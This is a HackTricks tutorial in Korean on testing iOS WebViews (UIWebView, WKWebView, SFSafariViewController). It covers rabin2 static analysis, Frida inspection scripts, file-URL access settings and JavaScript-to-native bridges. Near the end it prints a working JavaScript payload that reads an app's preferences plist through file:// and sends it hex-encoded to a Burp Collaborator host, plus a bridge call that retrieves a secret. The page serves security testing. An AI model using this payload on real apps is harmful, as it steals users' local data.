iOS WebViews

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ด ํŽ˜์ด์ง€์˜ ์ฝ”๋“œ๋Š” ์—ฌ๊ธฐ์—์„œ ์ถ”์ถœ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ ํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

WebViews ์œ ํ˜•

WebViews๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋‚ด์—์„œ ์›น ์ฝ˜ํ…์ธ ๋ฅผ ๋Œ€ํ™”ํ˜•์œผ๋กœ ํ‘œ์‹œํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ๋‹ค์–‘ํ•œ ์œ ํ˜•์˜ WebViews๋Š” iOS ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ๋Œ€ํ•ด ์„œ๋กœ ๋‹ค๋ฅธ ๊ธฐ๋Šฅ๊ณผ ๋ณด์•ˆ ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ๊ฐ„๋žตํ•œ ๊ฐœ์š”๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • UIWebView๋Š” JavaScript ๋น„ํ™œ์„ฑํ™” ์ง€์› ๋ถ€์กฑ์œผ๋กœ ์ธํ•ด iOS 12๋ถ€ํ„ฐ ๋” ์ด์ƒ ๊ถŒ์žฅ๋˜์ง€ ์•Š์œผ๋ฉฐ, ์ด๋Š” ์Šคํฌ๋ฆฝํŠธ ์ฃผ์ž… ๋ฐ ๊ต์ฐจ ์‚ฌ์ดํŠธ ์Šคํฌ๋ฆฝํŒ… (XSS) ๊ณต๊ฒฉ์— ์ทจ์•ฝํ•˜๊ฒŒ ๋งŒ๋“ญ๋‹ˆ๋‹ค.

  • WKWebView๋Š” ์•ฑ์— ์›น ์ฝ˜ํ…์ธ ๋ฅผ ํ†ตํ•ฉํ•˜๋Š” ๋ฐ ์„ ํ˜ธ๋˜๋Š” ์˜ต์…˜์œผ๋กœ, ์ฝ˜ํ…์ธ  ๋ฐ ๋ณด์•ˆ ๊ธฐ๋Šฅ์— ๋Œ€ํ•œ ํ–ฅ์ƒ๋œ ์ œ์–ด๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. JavaScript๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์ง€๋งŒ ํ•„์š”์— ๋”ฐ๋ผ ๋น„ํ™œ์„ฑํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ JavaScript๊ฐ€ ์ž๋™์œผ๋กœ ์ฐฝ์„ ์—ฌ๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•˜๋Š” ๊ธฐ๋Šฅ์„ ์ง€์›ํ•˜๋ฉฐ, ๋ชจ๋“  ์ฝ˜ํ…์ธ ๊ฐ€ ์•ˆ์ „ํ•˜๊ฒŒ ๋กœ๋“œ๋˜๋„๋ก ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค. ์ถ”๊ฐ€๋กœ, WKWebView์˜ ์•„ํ‚คํ…์ฒ˜๋Š” ๋ฉ”๋ชจ๋ฆฌ ์†์ƒ์ด ์ฃผ์š” ์•ฑ ํ”„๋กœ์„ธ์Šค์— ์˜ํ–ฅ์„ ๋ฏธ์น  ์œ„ํ—˜์„ ์ตœ์†Œํ™”ํ•ฉ๋‹ˆ๋‹ค.

  • SFSafariViewController๋Š” ์•ฑ ๋‚ด์—์„œ ํ‘œ์ค€ํ™”๋œ ์›น ๋ธŒ๋ผ์šฐ์ง• ๊ฒฝํ—˜์„ ์ œ๊ณตํ•˜๋ฉฐ, ์ฝ๊ธฐ ์ „์šฉ ์ฃผ์†Œ ํ•„๋“œ, ๊ณต์œ  ๋ฐ ํƒ์ƒ‰ ๋ฒ„ํŠผ, Safari์—์„œ ์ฝ˜ํ…์ธ ๋ฅผ ์—ด๊ธฐ ์œ„ํ•œ ์ง์ ‘ ๋งํฌ๋ฅผ ํฌํ•จํ•œ ํŠน์ • ๋ ˆ์ด์•„์›ƒ์œผ๋กœ ์ธ์‹๋ฉ๋‹ˆ๋‹ค. WKWebView์™€ ๋‹ฌ๋ฆฌ SFSafariViewController์—์„œ๋Š” JavaScript๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•  ์ˆ˜ ์—†์œผ๋ฉฐ, Safari์™€ ์ฟ ํ‚ค ๋ฐ ๋ฐ์ดํ„ฐ๋ฅผ ๊ณต์œ ํ•˜์—ฌ ์•ฑ์—์„œ ์‚ฌ์šฉ์ž ๊ฐœ์ธ ์ •๋ณด๋ฅผ ์œ ์ง€ํ•ฉ๋‹ˆ๋‹ค. App Store ๊ฐ€์ด๋“œ๋ผ์ธ์— ๋”ฐ๋ผ ๋ˆˆ์— ์ž˜ ๋„๊ฒŒ ํ‘œ์‹œ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

WebViews ๊ตฌ์„ฑ ํƒ์ƒ‰ ์š”์•ฝ

์ •์  ๋ถ„์„ ๊ฐœ์š”

WebViews ๊ตฌ์„ฑ ๊ฒ€ํ†  ๊ณผ์ •์—์„œ ๋‘ ๊ฐ€์ง€ ์ฃผ์š” ์œ ํ˜•์— ์ดˆ์ ์„ ๋งž์ถฅ๋‹ˆ๋‹ค: UIWebView์™€ WKWebView. ์ด WebViews๋ฅผ ๋ฐ”์ด๋„ˆ๋ฆฌ ๋‚ด์—์„œ ์‹๋ณ„ํ•˜๊ธฐ ์œ„ํ•ด ํŠน์ • ํด๋ž˜์Šค ์ฐธ์กฐ ๋ฐ ์ดˆ๊ธฐํ™” ๋ฉ”์„œ๋“œ๋ฅผ ๊ฒ€์ƒ‰ํ•˜๋Š” ๋ช…๋ น์ด ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

  • UIWebView ์‹๋ณ„
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

์ด ๋ช…๋ น์€ ์ด์ง„ ํŒŒ์ผ์—์„œ ๊ด€๋ จ ํ…์ŠคํŠธ ๋ฌธ์ž์—ด์„ ๊ฒ€์ƒ‰ํ•˜์—ฌ UIWebView ์ธ์Šคํ„ด์Šค๋ฅผ ์ฐพ๋Š” ๋ฐ ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค.

  • WKWebView ์‹๋ณ„
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

์œ ์‚ฌํ•˜๊ฒŒ, WKWebView์˜ ๊ฒฝ์šฐ, ์ด ๋ช…๋ น์€ ์‚ฌ์šฉ์„ ๋‚˜ํƒ€๋‚ด๋Š” ํ…์ŠคํŠธ ๋ฌธ์ž์—ด์„ ์ด์ง„ ํŒŒ์ผ์—์„œ ๊ฒ€์ƒ‰ํ•ฉ๋‹ˆ๋‹ค.

๋˜ํ•œ, WKWebView๊ฐ€ ์–ด๋–ป๊ฒŒ ์ดˆ๊ธฐํ™”๋˜๋Š”์ง€๋ฅผ ์ฐพ๊ธฐ ์œ„ํ•ด, ๋‹ค์Œ ๋ช…๋ น์ด ์‹คํ–‰๋˜๋ฉฐ, ์ดˆ๊ธฐํ™”์™€ ๊ด€๋ จ๋œ ๋ฉ”์„œ๋“œ ์‹œ๊ทธ๋‹ˆ์ฒ˜๋ฅผ ๋Œ€์ƒ์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

JavaScript ๊ตฌ์„ฑ ํ™•์ธ

WKWebView์˜ ๊ฒฝ์šฐ, ํ•„์š”ํ•˜์ง€ ์•Š๋Š” ํ•œ JavaScript๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•˜๋Š” ๊ฒƒ์ด ๋ชจ๋ฒ” ์‚ฌ๋ก€๋กœ ๊ฐ•์กฐ๋ฉ๋‹ˆ๋‹ค. ์ปดํŒŒ์ผ๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๊ฒ€์ƒ‰ํ•˜์—ฌ javaScriptEnabled ์†์„ฑ์ด false๋กœ ์„ค์ •๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์—ฌ JavaScript๊ฐ€ ๋น„ํ™œ์„ฑํ™”๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

์˜ค์ง ์•ˆ์ „ํ•œ ์ฝ˜ํ…์ธ  ๊ฒ€์ฆ

WKWebView๋Š” UIWebView์™€ ๋Œ€์กฐ์ ์œผ๋กœ ํ˜ผํ•ฉ ์ฝ˜ํ…์ธ  ๋ฌธ์ œ๋ฅผ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ๋Š” ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋ชจ๋“  ํŽ˜์ด์ง€ ๋ฆฌ์†Œ์Šค๊ฐ€ ์•ˆ์ „ํ•œ ์—ฐ๊ฒฐ์„ ํ†ตํ•ด ๋กœ๋“œ๋˜๋„๋ก ๋ณด์žฅํ•˜๊ธฐ ์œ„ํ•ด hasOnlySecureContent ์†์„ฑ์„ ์‚ฌ์šฉํ•˜์—ฌ ํ™•์ธ๋ฉ๋‹ˆ๋‹ค. ์ปดํŒŒ์ผ๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ์—์„œ์˜ ๊ฒ€์ƒ‰์€ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ˆ˜ํ–‰๋ฉ๋‹ˆ๋‹ค:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

๋™์  ๋ถ„์„ ํ†ต์ฐฐ๋ ฅ

๋™์  ๋ถ„์„์€ WebView ์ธ์Šคํ„ด์Šค์™€ ๊ทธ ์†์„ฑ์„ ๊ฒ€์‚ฌํ•˜๋Š” ๊ฒƒ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ์œ„ํ•ด webviews_inspector.js๋ผ๋Š” ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‚ฌ์šฉ๋˜๋ฉฐ, UIWebView, WKWebView, ๋ฐ SFSafariViewController ์ธ์Šคํ„ด์Šค๋ฅผ ๋Œ€์ƒ์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค. ์ด ์Šคํฌ๋ฆฝํŠธ๋Š” ๋ฐœ๊ฒฌ๋œ ์ธ์Šคํ„ด์Šค์— ๋Œ€ํ•œ ์ •๋ณด, URL ๋ฐ JavaScript์™€ ๋ณด์•ˆ ์ฝ˜ํ…์ธ ์™€ ๊ด€๋ จ๋œ ์„ค์ •์„ ๊ธฐ๋กํ•ฉ๋‹ˆ๋‹ค.

ํž™ ๊ฒ€์‚ฌ๋Š” ObjC.choose()๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ WebView ์ธ์Šคํ„ด์Šค๋ฅผ ์‹๋ณ„ํ•˜๊ณ  javaScriptEnabled ๋ฐ hasonlysecurecontent ์†์„ฑ์„ ํ™•์ธํ•˜๋Š” ๋ฐฉ์‹์œผ๋กœ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ObjC.choose(ObjC.classes["UIWebView"], {
onMatch: function (ui) {
console.log("onMatch: ", ui)
console.log("URL: ", ui.request().toString())
},
onComplete: function () {
console.log("done for UIWebView!")
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("URL: ", wk.URL().toString())
},
onComplete: function () {
console.log("done for WKWebView!")
},
})

ObjC.choose(ObjC.classes["SFSafariViewController"], {
onMatch: function (sf) {
console.log("onMatch: ", sf)
},
onComplete: function () {
console.log("done for SFSafariViewController!")
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log(
"javaScriptEnabled:",
wk.configuration().preferences().javaScriptEnabled()
)
},
})

ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
},
})

์Šคํฌ๋ฆฝํŠธ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

์ฃผ์š” ๊ฒฐ๊ณผ:

  • WebViews์˜ ์ธ์Šคํ„ด์Šค๊ฐ€ ์„ฑ๊ณต์ ์œผ๋กœ ์œ„์น˜ ํ™•์ธ ๋ฐ ๊ฒ€์‚ฌ๋จ.
  • JavaScript ํ™œ์„ฑํ™” ๋ฐ ๋ณด์•ˆ ์ฝ˜ํ…์ธ  ์„ค์ •์ด ๊ฒ€์ฆ๋จ.

์ด ์š”์•ฝ์€ JavaScript ํ™œ์„ฑํ™” ๋ฐ ํ˜ผํ•ฉ ์ฝ˜ํ…์ธ  ๊ฐ์ง€์™€ ๊ฐ™์€ ๋ณด์•ˆ ๊ธฐ๋Šฅ์— ์ค‘์ ์„ ๋‘๊ณ  ์ •์  ๋ฐ ๋™์  ์ ‘๊ทผ ๋ฐฉ์‹์„ ํ†ตํ•ด WebView ๊ตฌ์„ฑ ๋ถ„์„์— ๊ด€๋ จ๋œ ์ค‘์š”ํ•œ ๋‹จ๊ณ„์™€ ๋ช…๋ น์„ ์š”์•ฝํ•ฉ๋‹ˆ๋‹ค.

WebView ํ”„๋กœํ† ์ฝœ ์ฒ˜๋ฆฌ

WebViews์—์„œ ์ฝ˜ํ…์ธ ๋ฅผ ์ฒ˜๋ฆฌํ•˜๋Š” ๊ฒƒ์€ ์ค‘์š”ํ•œ ์ธก๋ฉด์œผ๋กœ, http(s)://, file://, tel://์™€ ๊ฐ™์€ ๋‹ค์–‘ํ•œ ํ”„๋กœํ† ์ฝœ์„ ๋‹ค๋ฃฐ ๋•Œ ํŠนํžˆ ๊ทธ๋ ‡์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ํ”„๋กœํ† ์ฝœ์€ ์•ฑ ๋‚ด์—์„œ ์›๊ฒฉ ๋ฐ ๋กœ์ปฌ ์ฝ˜ํ…์ธ ๋ฅผ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. ๋กœ์ปฌ ์ฝ˜ํ…์ธ ๋ฅผ ๋กœ๋“œํ•  ๋•Œ๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ํŒŒ์ผ์˜ ์ด๋ฆ„์ด๋‚˜ ๊ฒฝ๋กœ์— ์˜ํ–ฅ์„ ๋ฏธ์น˜๊ฑฐ๋‚˜ ์ฝ˜ํ…์ธ  ์ž์ฒด๋ฅผ ํŽธ์ง‘ํ•˜์ง€ ๋ชปํ•˜๋„๋ก ์ฃผ์˜ํ•ด์•ผ ํ•œ๋‹ค๋Š” ์ ์ด ๊ฐ•์กฐ๋ฉ๋‹ˆ๋‹ค.

WebViews๋Š” ์ฝ˜ํ…์ธ  ๋กœ๋”ฉ์„ ์œ„ํ•œ ๋‹ค์–‘ํ•œ ๋ฐฉ๋ฒ•์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ด์ œ ๋” ์ด์ƒ ์‚ฌ์šฉ๋˜์ง€ ์•Š๋Š” UIWebView์˜ ๊ฒฝ์šฐ loadHTMLString:baseURL: ๋ฐ loadData:MIMEType:textEncodingName:baseURL:์™€ ๊ฐ™์€ ๋ฉ”์„œ๋“œ๊ฐ€ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ๋ฐ˜๋ฉด WKWebView๋Š” ์›น ์ฝ˜ํ…์ธ ๋ฅผ ์œ„ํ•ด loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL:, loadRequest:๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ๋กœ์ปฌ ํŒŒ์ผ์„ ๋กœ๋“œํ•˜๊ธฐ ์œ„ํ•ด ์ผ๋ฐ˜์ ์œผ๋กœ pathForResource:ofType:, URLForResource:withExtension:, init(contentsOf:encoding:)์™€ ๊ฐ™์€ ๋ฉ”์„œ๋“œ๊ฐ€ ํ™œ์šฉ๋ฉ๋‹ˆ๋‹ค. loadFileURL:allowingReadAccessToURL: ๋ฉ”์„œ๋“œ๋Š” ํŠน์ • URL์ด๋‚˜ ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ WebView์— ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋Š” ๋Šฅ๋ ฅ์œผ๋กœ ํŠนํžˆ ์ฃผ๋ชฉํ•  ๋งŒํ•˜๋ฉฐ, ๋””๋ ‰ํ† ๋ฆฌ๊ฐ€ ์ง€์ •๋  ๊ฒฝ์šฐ ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๊ฐ€ ๋…ธ์ถœ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์†Œ์Šค ์ฝ”๋“œ๋‚˜ ์ปดํŒŒ์ผ๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ์—์„œ ์ด๋Ÿฌํ•œ ๋ฉ”์„œ๋“œ๋ฅผ ์ฐพ๊ธฐ ์œ„ํ•ด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ช…๋ น์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

ํŒŒ์ผ ์ ‘๊ทผ์— ๊ด€ํ•˜์—ฌ, UIWebView๋Š” ์ด๋ฅผ ๋ณดํŽธ์ ์œผ๋กœ ํ—ˆ์šฉํ•˜๋Š” ๋ฐ˜๋ฉด, WKWebView๋Š” ํŒŒ์ผ URL์—์„œ์˜ ์ ‘๊ทผ์„ ๊ด€๋ฆฌํ•˜๊ธฐ ์œ„ํ•ด allowFileAccessFromFileURLs ๋ฐ allowUniversalAccessFromFileURLs ์„ค์ •์„ ๋„์ž…ํ•˜๋ฉฐ, ๋‘ ์„ค์ • ๋ชจ๋‘ ๊ธฐ๋ณธ๊ฐ’์€ false์ž…๋‹ˆ๋‹ค.

๋ณด์•ˆ ์„ค์ •์„ ๊ฒ€์‚ฌํ•˜๊ธฐ ์œ„ํ•œ WKWebView ๊ตฌ์„ฑ์˜ Frida ์Šคํฌ๋ฆฝํŠธ ์˜ˆ์ œ๊ฐ€ ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

๋งˆ์ง€๋ง‰์œผ๋กœ, ๋กœ์ปฌ ํŒŒ์ผ์„ ์œ ์ถœํ•˜๊ธฐ ์œ„ํ•œ JavaScript ํŽ˜์ด๋กœ๋“œ์˜ ์˜ˆ๋Š” ์ž˜๋ชป ๊ตฌ์„ฑ๋œ WebViews์™€ ๊ด€๋ จ๋œ ์ž ์žฌ์ ์ธ ๋ณด์•ˆ ์œ„ํ—˜์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค. ์ด ํŽ˜์ด๋กœ๋“œ๋Š” ํŒŒ์ผ ๋‚ด์šฉ์„ 16์ง„์ˆ˜ ํ˜•์‹์œผ๋กœ ์ธ์ฝ”๋”ฉํ•œ ํ›„ ์„œ๋ฒ„๋กœ ์ „์†กํ•˜์—ฌ WebView ๊ตฌํ˜„์—์„œ ์—„๊ฒฉํ•œ ๋ณด์•ˆ ์กฐ์น˜์˜ ์ค‘์š”์„ฑ์„ ๊ฐ•์กฐํ•ฉ๋‹ˆ๋‹ค.

String.prototype.hexEncode = function () {
var hex, i
var result = ""
for (i = 0; i < this.length; i++) {
hex = this.charCodeAt(i).toString(16)
result += ("000" + hex).slice(-4)
}
return result
}

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest()
xhr2.open(
"GET",
"http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
xhr.responseText.hexEncode(),
true
)
xhr2.send(null)
}
}
xhr.open(
"GET",
"file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
true
)
xhr.send(null)

Native Methods Exposed Through WebViews

Understanding WebView Native Interfaces in iOS

iOS 7๋ถ€ํ„ฐ Apple์€ WebView์˜ JavaScript์™€ ๋„ค์ดํ‹ฐ๋ธŒ Swift ๋˜๋Š” Objective-C ๊ฐ์ฒด ๊ฐ„์˜ ํ†ต์‹ ์„ ์œ„ํ•œ API๋ฅผ ์ œ๊ณตํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด ํ†ตํ•ฉ์€ ์ฃผ๋กœ ๋‘ ๊ฐ€์ง€ ๋ฐฉ๋ฒ•์„ ํ†ตํ•ด ์ด๋ฃจ์–ด์ง‘๋‹ˆ๋‹ค:

  • JSContext: Swift ๋˜๋Š” Objective-C ๋ธ”๋ก์ด JSContext ๋‚ด์˜ ์‹๋ณ„์ž์— ์—ฐ๊ฒฐ๋  ๋•Œ JavaScript ํ•จ์ˆ˜๊ฐ€ ์ž๋™์œผ๋กœ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด JavaScript์™€ ๋„ค์ดํ‹ฐ๋ธŒ ์ฝ”๋“œ ๊ฐ„์˜ ์›ํ™œํ•œ ํ†ตํ•ฉ ๋ฐ ํ†ต์‹ ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.
  • JSExport Protocol: JSExport ํ”„๋กœํ† ์ฝœ์„ ์ƒ์†ํ•จ์œผ๋กœ์จ ๋„ค์ดํ‹ฐ๋ธŒ ์†์„ฑ, ์ธ์Šคํ„ด์Šค ๋ฉ”์„œ๋“œ ๋ฐ ํด๋ž˜์Šค ๋ฉ”์„œ๋“œ๋ฅผ JavaScript์— ๋…ธ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” JavaScript ํ™˜๊ฒฝ์—์„œ ์ด๋ฃจ์–ด์ง„ ๋ชจ๋“  ๋ณ€๊ฒฝ ์‚ฌํ•ญ์ด ๋„ค์ดํ‹ฐ๋ธŒ ํ™˜๊ฒฝ์— ๋ฐ˜์˜๋˜๊ณ  ๊ทธ ๋ฐ˜๋Œ€๋„ ๋งˆ์ฐฌ๊ฐ€์ง€์ž„์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ด ๋ฐฉ๋ฒ•์„ ํ†ตํ•ด ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ๊ฐ€ ์šฐ์—ฐํžˆ ๋…ธ์ถœ๋˜์ง€ ์•Š๋„๋ก ํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค.

Accessing JSContext in Objective-C

Objective-C์—์„œ UIWebView์˜ JSContext๋Š” ๋‹ค์Œ ์ฝ”๋“œ ํ•œ ์ค„๋กœ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

WKWebView์™€์˜ ํ†ต์‹ 

WKWebView์˜ ๊ฒฝ์šฐ, JSContext์— ์ง์ ‘ ์ ‘๊ทผํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ๋Œ€์‹ , postMessage ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด ๋ฉ”์‹œ์ง€ ์ „๋‹ฌ์ด ์‚ฌ์šฉ๋˜์–ด JavaScript์™€ ๋„ค์ดํ‹ฐ๋ธŒ ๊ฐ„์˜ ํ†ต์‹ ์ด ๊ฐ€๋Šฅํ•ด์ง‘๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋ฉ”์‹œ์ง€์— ๋Œ€ํ•œ ํ•ธ๋“ค๋Ÿฌ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์„ค์ •๋˜์–ด JavaScript๊ฐ€ ๋„ค์ดํ‹ฐ๋ธŒ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๊ณผ ์•ˆ์ „ํ•˜๊ฒŒ ์ƒํ˜ธ์ž‘์šฉํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

์ƒํ˜ธ์ž‘์šฉ ๋ฐ ํ…Œ์ŠคํŠธ

JavaScript๋Š” ์Šคํฌ๋ฆฝํŠธ ๋ฉ”์‹œ์ง€ ํ•ธ๋“ค๋Ÿฌ๋ฅผ ์ •์˜ํ•˜์—ฌ ๋„ค์ดํ‹ฐ๋ธŒ ๋ ˆ์ด์–ด์™€ ์ƒํ˜ธ์ž‘์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ์›นํŽ˜์ด์ง€์—์„œ ๋„ค์ดํ‹ฐ๋ธŒ ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๋“ฑ์˜ ์ž‘์—…์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage([
"multiplyNumbers",
value1,
value2,
])
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

๋„ค์ดํ‹ฐ๋ธŒ ํ•จ์ˆ˜ ํ˜ธ์ถœ์˜ ๊ฒฐ๊ณผ๋ฅผ ์บก์ฒ˜ํ•˜๊ณ  ์กฐ์ž‘ํ•˜๊ธฐ ์œ„ํ•ด, HTML ๋‚ด์—์„œ ์ฝœ๋ฐฑ ํ•จ์ˆ˜๋ฅผ ์˜ค๋ฒ„๋ผ์ด๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result)
}
</script>
</html>

๋„ค์ดํ‹ฐ๋ธŒ ์ธก์€ JavaScriptBridgeMessageHandler ํด๋ž˜์Šค์—์„œ ๋ณด์—ฌ์ค€ ๊ฒƒ์ฒ˜๋Ÿผ JavaScript ํ˜ธ์ถœ์„ ์ฒ˜๋ฆฌํ•˜๋ฉฐ, ์ˆซ์ž ๊ณฑ์…ˆ๊ณผ ๊ฐ™์€ ์ž‘์—…์˜ ๊ฒฐ๊ณผ๋ฅผ ์ฒ˜๋ฆฌํ•˜์—ฌ JavaScript๋กœ ๋‹ค์‹œ ์ „์†กํ•˜์—ฌ ํ‘œ์‹œํ•˜๊ฑฐ๋‚˜ ์ถ”๊ฐ€ ์กฐ์ž‘์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

iOS WebViews ๋””๋ฒ„๊น…

(Tutorial based on the one from https://blog.vuplex.com/debugging-webviews)

